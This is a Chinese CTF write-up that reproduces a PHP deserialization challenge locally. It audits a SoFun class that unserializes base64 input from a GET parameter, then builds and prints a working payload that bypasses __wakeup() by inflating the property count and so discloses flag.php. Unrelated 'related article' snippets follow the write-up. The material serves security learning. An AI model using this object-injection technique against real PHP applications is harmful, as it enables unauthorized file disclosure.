0x01、Web

1.duwentao-[本地复现]

第一步:代码审计

<?php
#error_reporting(0);                        //注释掉了关闭错误报告
class SoFun                                 //类:SoFun
{       protected $file = 'index.php';           //保护属性:$file='index.php'public function __construct($file)        //构造方法__construct(),在实例化当前类前,自动被调用,使用参数$file初始化{   $this->file = $file;                //给属性$file初始化}function __destruct()                 //析构方法__destruct(),在当前类的实例化对象销毁前,自动被调用{if(!empty($this->file))             //判断属性$file的值是否为空,若为空就执行以下的判断语句{ //判断$file属性里面有没有路径符号,若没有就显示当前目录下的以$file属性为名的文件的源码,若有退出脚本if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)show_source(dirname(__FILE__).'/'.$this->file);elsedie('Wrong filename.');}}function __wakeup()                     //魔术方法__wakeup(),在当前类的实例化对象反序列化时,自动被调用[可绕过]{$this->file = 'index.php';          //给属性$file值赋为index.php}public function __toString()         //魔术方法:__toString(),在当前类的实例化对象被当作字符串操作时,自动被调用{return '';                         //返回空}}if(!isset($_GET['file'])){                 //判断后台是否收到以GET形式提交的file参数的值且不为NULLshow_source('duwentao.php');            //若没收到,显示当前页面源码,注意此时的页面我改为了duwentao.php
}else{$file = base64_decode($_GET['file']);  //若收到,则base64解码参数值echo unserialize($file);               //反序列化参数值后,打印出来
}
?>
<!--key in flag.php-->                        //提示flag.php

第二步:思路

倒推法:

想要显示flag.php页面源码--》就要执行show_source(dirname(__FILE__).'/'.$this->file);--》就要给SoFun类的$file属性赋值为flag.php因此:我们要传入一个SoFun类的实例化对象,且保护属性$file的值为flag.php,然后再序列化,base64编码,传入。
//但是,后台还有一个__wakeup()魔术方法,在反序列化的时候,$file属性的值又被覆盖成index.php,所以我们就要绕过它绕过方法:把序列化字符串中的属性个数改为大于真实属性个数即可

第三步:编写代码,构造payload

<?php
error_reporting(0);
class SoFun
{protected $file = 'index.php';public function __construct($file){$this->file = $file;}function __destruct(){if(!empty($this->file)){if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false)show_source(dirname(__FILE__).'/'.$this->file);elsedie('Wrong filename.');}}function __wakeup(){$this->file = 'index.php';}public function __toString(){return '';}
}$chen = new SoFun('flag.php');
$chen = serialize($chen);
echo $chen."<br />";
//O:5:"SoFun":1:{s:7:"*file";s:8:"flag.php";}
$chen = str_replace(chr(0),'\00',$chen);
$chen = str_replace('s:7','S:7',$chen);
echo $chen."<br />";
//O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
$chen = str_replace(':1:',':2:',$chen);
echo $chen."<br />";
//O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
$chen = base64_encode($chen);
echo $chen."<br />";
//Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
?>
<!--key in flag.php-->

因此payload:

?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

第四步:提交payload,获取flag【由于是本地环境,注意php的版本问题】

提交payload

图略

duwentao-[本地复现]-[__wakeup()魔术方法绕过]相关推荐

  1. PHP中的常见魔术方法功能作用及用法实例

    这篇文章主要介绍了PHP中的常见魔术方法功能作用及用法实例,本文讲解了构造函数和析构函数__construct()和__desctruct()以及属性重载(Property Overloading)_ ...

  2. php 魔术方法介绍

    PHP 魔术方法有哪些,作用是什么 在面向对象编程中,PHP提供了一系列的魔术方法,这些魔术方法为编程提供了很多便利.PHP中的魔术方法通常以__(两个下划线)开始,并且不需要显示的调用而是由某种特定 ...

  3. php 魔术方法 sleep,PHP 魔术方法: __sleep __wakeup

    从php5以后的版本,类就可以使用魔术方法了.php规定以两个下划线(__)开头的方法都保留为魔术方法,所以建议大家函数名最好不用__开 头,除非是为了重载已有的魔术方法. 目前php已有的魔术方法有 ...

  4. pyhton中的魔术方法

    魔术方法 ***** 特殊属性 属性 说明 __name__ 类.函数.方法等的名字 __module__ 类定义所在的模块名 __class__ 对象或类所属的类 __bases__ 类的基类的元组 ...

  5. 二、BMZCTF-[easy_php]-[本地复现]-[简单的代码审计]

    BMZCTF-easy_php BMZCTF-[easy_php]-[本地复现]-[简单的代码审计] 1.题目描述 <?php highlight_file(__FILE__); error_r ...

  6. CTF Web题部分PHP魔术方法总结(Magic Methods)

    几个常见的PHP魔术方法 简单介绍 详细介绍 __sleep() __wakeup() __get() __set() __isset() __unset() __construct() __dest ...

  7. PHP中魔术方法的用法

    PHP中魔术方法的用法 /** PHP把所有以__(两个下划线)开头的类方法当成魔术方法.所以你定义自己的类方法时,不要以 __为前缀. * */// __toString.__set.__get__ ...

  8. php 魔术方法 说明

    1.__get.__set这两个方法是为在类和他们的父类中没有声明的属性而设计的. ◆__get( $property ) 当调用一个未定义的属性时,此方法会被触发,传递的参数是被访问的属性名. ◆_ ...

  9. php5中魔术方法函数有哪几个,php中的类魔术方法有哪些

    php中的类魔术方法有:1.__sleep,返回一个包含对象中所有应被序列化的变量名称的数组:2.__tostring,返回一个类被当作字符串时要输出的内容:3.__construct,构造方法:4. ...

最新文章

  1. OSChina 周一乱弹 —— 程序员进阶之路
  2. C语言字符糊到了一起,C语言速成及格课.docx
  3. Extreme交换机基础配置命令
  4. python推荐入门书籍-学python入门看什么书
  5. spark 在启动的时候出现JAVA_HOME not set
  6. P4781 【模板】拉格朗日插值
  7. 【软件开发底层知识修炼】八 Binutils辅助工具之- objdump工具 与 size,strings工具
  8. 理想汽车2021年Q4盈利2.955亿元 CTO王凯离职
  9. Android 音频开发(二) 采集一帧音频数据
  10. 15种基础的可以直接使用的CSS3样式
  11. 山石防火墙CLI创建VLAN
  12. Linux环境下如何编译C++程序
  13. 显示器色域检测软件_摄影师:手机看图的甲方爸爸值得我换专业摄影显示器吗?...
  14. C++用*和空格输出一个正方形及其对角线
  15. 《信息安全技术》实验一 PGP的原理与使用
  16. 异构网络互联;路由与转发;SDN基本概念;拥塞控制
  17. c语言编程题会议室安排,C语言编程题:会议室安排
  18. tar命令打包压缩时排除.svn .git .repo等特定文件/文件夹报错/未生效
  19. 应广单片机定时器中断配置
  20. python数据预处理_Python数据分析——数据预处理的方法

热门文章

  1. 同时掌握c 和java_怎么在必须同时学习C语言和Java时把两者学好?
  2. 连续时间傅里叶变换的性质
  3. u盘装系统学计算机好,推荐一款好用的U盘装系统软件
  4. ThinkPHP框架制作的土豪金风格装修公司装饰公司整站源码
  5. QueryWrapper
  6. Shell条件测试之字符串比较
  7. 疫情下境外黑客组织的公然挑衅——信息安全应该如何重视
  8. ELK 搭建日志分析系统 + Zipkin服务链路追踪整合
  9. Chipletz 采用芯和半导体Metis工具设计智能基板产品
  10. 人一直生活在其用技术构建的世界里,元宇宙可能是技术世界的未来版本